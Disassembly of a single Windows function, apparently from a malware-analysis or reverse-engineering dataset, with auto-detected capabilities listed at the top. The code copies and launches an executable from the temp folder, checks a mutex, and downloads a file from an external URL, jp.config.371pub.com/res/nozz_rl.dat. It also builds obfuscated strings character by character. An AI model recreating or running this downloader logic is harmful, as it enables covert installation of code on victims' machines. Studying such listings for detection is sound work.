Function at 0x406c8b
Capabilities:
Check mutex on windows
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573844
mov eax, dword fs:[0]
push eax
sub esp, 0xf98
mov eax, dword [0x5e3c30]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xf34], ecx
mov dword [ebp - 0x74], 8
mov dword [ebp - 0x70], 0xff
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, dword [ebp - 0xf34]
call fcn.00447b90
push 0
call fcn.00449881
pop ecx
mov dword [ebp - 0x68], 1
push 0x104
lea eax, [ebp - 0x56c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x56c]
push eax
mov ecx, 0x5f01c0
call fcn.004010d1
push dword [0x5b36e0]
push 0x5b3348
mov ecx, 0x5f01c0
call fcn.00407719
inc eax
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
mov ecx, 0x5f01c0
call fcn.00407758
mov dword [ebp - 0xf38], eax
mov eax, dword [ebp - 0xf38]
mov dword [ebp - 0xf3c], eax
and dword [ebp - 4], 0
push dword [ebp - 0xf3c]
mov ecx, 0x5f01c0
call fcn.00407693
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00401d44
lea eax, [ebp - 0x56c]
push eax
lea ecx, [ebp - 0x588]
call fcn.00407628
mov dword [ebp - 4], 1
push dword [0x5b36e0]
push dword [0x5b36e0]
push 0x5c
lea ecx, [ebp - 0x588]
call fcn.0040773c
inc eax
push eax
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x588]
call fcn.00407758
mov dword [ebp - 0xf40], eax
mov eax, dword [ebp - 0xf40]
mov dword [ebp - 0xf44], eax
mov byte [ebp - 4], 2
push dword [ebp - 0xf44]
lea ecx, [ebp - 0x588]
call fcn.00407693
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.00401d44
mov ecx, 0x5f01c0
call fcn.00405e71
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp - 0xf34]
mov eax, dword [eax + 0x48]
mov dword [ebp - 0xf48], eax
mov eax, dword [ebp - 0xf48]
inc eax
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0xf48]
mov al, byte [eax]
mov byte [ebp - 0xf4d], al
inc dword [ebp - 0xf48]
cmp byte [ebp - 0xf4d], 0
jne 0x406e11
mov eax, dword [ebp - 0xf48]
sub eax, dword [ebp - 0xf4c]
mov dword [ebp - 0xf54], eax
je 0x407399
cmp dword [ebp - 0x68], 0
je 0x407399
lea eax, [ebp - 0x7b4]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
lea eax, [ebp - 0x7b4]
push eax
mov ecx, 0x5f01c0
call fcn.004076f6
cmp eax, dword [0x5b36e0]
jne 0x407119
lea eax, [ebp - 0x7b4]
push eax
mov ecx, 0x5f01c0
call fcn.00405e71
push eax
call fcn.00406969
pop ecx
pop ecx
push 0x5f01c0
lea ecx, [ebp - 0x7d4]
call fcn.004075ae
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x7d4]
call fcn.00419640
dec eax
push eax
lea ecx, [ebp - 0x7d4]
call fcn.004076de
push dword [0x5b36e0]
push dword [0x5b36e0]
push 0x5c
lea ecx, [ebp - 0x7d4]
call fcn.0040773c
inc eax
push eax
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x7d4]
call fcn.00407758
mov dword [ebp - 0xf58], eax
mov eax, dword [ebp - 0xf58]
mov dword [ebp - 0xf5c], eax
mov byte [ebp - 4], 4
push dword [ebp - 0xf5c]
lea ecx, [ebp - 0x7d4]
call fcn.00407693
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x64]
call fcn.00401d44
lea ecx, [ebp - 0x7d4]
call fcn.00405e71
mov dword [ebp - 0xf60], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0xf64], eax
mov eax, dword [ebp - 0xf60]
mov al, byte [eax]
mov byte [ebp - 0xf65], al
inc dword [ebp - 0xf60]
cmp byte [ebp - 0xf65], 0
jne 0x406f40
mov eax, dword [ebp - 0xf60]
sub eax, dword [ebp - 0xf64]
mov ecx, dword [ebp - 0xf64]
mov dword [ebp - 0xf6c], ecx
mov dword [ebp - 0xf70], eax
lea eax, [ebp - 0x7b4]
dec eax
mov dword [ebp - 0xf74], eax
mov eax, dword [ebp - 0xf74]
mov al, byte [eax + 1]
mov byte [ebp - 0xf75], al
inc dword [ebp - 0xf74]
cmp byte [ebp - 0xf75], 0
jne 0x406f88
mov edi, dword [ebp - 0xf74]
mov esi, dword [ebp - 0xf6c]
mov eax, dword [ebp - 0xf70]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x7b4]
dec eax
mov dword [ebp - 0xf7c], eax
mov eax, dword [ebp - 0xf7c]
mov al, byte [eax + 1]
mov byte [ebp - 0xf7d], al
inc dword [ebp - 0xf7c]
cmp byte [ebp - 0xf7d], 0
jne 0x406fd3
mov edi, dword [ebp - 0xf7c]
mov esi, 0x5b334c
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x588]
call fcn.00405e71
mov dword [ebp - 0xf84], eax
mov eax, dword [ebp - 0xf84]
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xf84]
mov al, byte [eax]
mov byte [ebp - 0xf89], al
inc dword [ebp - 0xf84]
cmp byte [ebp - 0xf89], 0
jne 0x40701b
mov eax, dword [ebp - 0xf84]
sub eax, dword [ebp - 0xf88]
mov ecx, dword [ebp - 0xf88]
mov dword [ebp - 0xf90], ecx
mov dword [ebp - 0xf94], eax
lea eax, [ebp - 0x7b4]
dec eax
mov dword [ebp - 0xf98], eax
mov eax, dword [ebp - 0xf98]
mov al, byte [eax + 1]
mov byte [ebp - 0xf99], al
inc dword [ebp - 0xf98]
cmp byte [ebp - 0xf99], 0
jne 0x407063
mov edi, dword [ebp - 0xf98]
mov esi, dword [ebp - 0xf90]
mov eax, dword [ebp - 0xf94]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x7b4]
dec eax
mov dword [ebp - 0xfa0], eax
mov eax, dword [ebp - 0xfa0]
mov al, byte [eax + 1]
mov byte [ebp - 0xfa1], al
inc dword [ebp - 0xfa0]
cmp byte [ebp - 0xfa1], 0
jne 0x4070ae
mov edi, dword [ebp - 0xfa0]
mov esi, 0x5b3350
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 5
lea eax, [ebp - 0x7b4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
and dword [ebp - 0xf28], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x7d4]
call fcn.00401d44
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x588]
call fcn.00401d44
mov eax, dword [ebp - 0xf28]
jmp 0x407441
push 0x5b3354
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x407156
and dword [ebp - 0xf2c], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x588]
call fcn.00401d44
mov eax, dword [ebp - 0xf2c]
jmp 0x407441
and dword [ebp - 0x58c], 0
and dword [ebp - 0x7b8], 0
mov dword [ebp - 0x594], 5
mov eax, dword [ebp - 0x594]
mov ecx, dword [ebp - 0x594]
dec ecx
mov dword [ebp - 0x594], ecx
test eax, eax
je 0x4072a4
lea eax, [ebp - 0x7b8]
push eax
lea eax, [ebp - 0x58c]
push eax
lea eax, [ebp - 0x590]
push eax
push str.http:__jp.config.371pub.com_res_nozz_rl.dat
call fcn.00417d0b
add esp, 0x10
movzx eax, al
test eax, eax
je 0x40729f
cmp dword [ebp - 0x7b8], 0x194
jne 0x4071c7
jmp 0x4072a4
lea ecx, [ebp - 0xeec]
call fcn.00419514
lea ecx, [ebp - 0x7f0]
call fcn.00401d18
mov byte [ebp - 4], 5
push 0x64
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x65
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x73
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x5f
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x6e
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x6f
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x7a
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
push 0x7a
lea ecx, [ebp - 0x7f0]
call fcn.004076c6
lea eax, [ebp - 0x7f4]
push eax
lea ecx, [ebp - 0x7f0]
call fcn.00405e71
push eax
push dword [ebp - 0x58c]
push dword [ebp - 0x590]
lea ecx, [ebp - 0xeec]
call fcn.00414e4d
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 0
je 0x40728e
push dword [ebp - 0x7f8]
call fcn.00416f06
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x7f0]
call fcn.00401d44
jmp 0x4072a4
jmp 0x40716e
lea ecx, [ebp - 0xf08]
call fcn.00401d18
mov byte [ebp - 4], 6
push 0x5b338c
lea ecx, [ebp - 0xf08]
call fcn.004076b0
push 0x45
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x45
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x61
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x4d
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x51
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x45
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x5d
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x49
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x59
lea ecx, [ebp - 0xf08]
call fcn.004076c6
push 0x4068e1
lea eax, [ebp - 0xf08]
push eax
push 0x5eebb8
call fcn.00408768
pop ecx
pop ecx
mov ecx, eax
call fcn.00407793
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf08]
call fcn.00401d44
push 0
push 0
push 0
lea eax, [ebp - 0x5b0]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x407399
lea eax, [ebp - 0x5b0]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x5b0]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x407366
cmp dword [ebp - 0x68], 0
je 0x4073e8
lea eax, [ebp - 0x56c]
push eax
lea ecx, [ebp - 0xf24]
call fcn.00407628
mov byte [ebp - 4], 7
push 0x5b3390
lea ecx, [ebp - 0xf24]
call fcn.004076b0
push 5
lea ecx, [ebp - 0xf24]
call fcn.00405e71
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf24]
call fcn.00401d44
push 0
lea ecx, [ebp - 0x464]
call fcn.00408f26
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0xf34]
lea ecx, [ebp - 0x464]
mov dword [eax + 0x20], ecx
lea ecx, [ebp - 0x464]
call fcn.0044ac5c
mov dword [ebp - 0x6c], eax
and dword [ebp - 0xf30], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x464]
call fcn.00409011
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x588]
call fcn.00401d44
mov eax, dword [ebp - 0xf30]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00543a33
leave
ret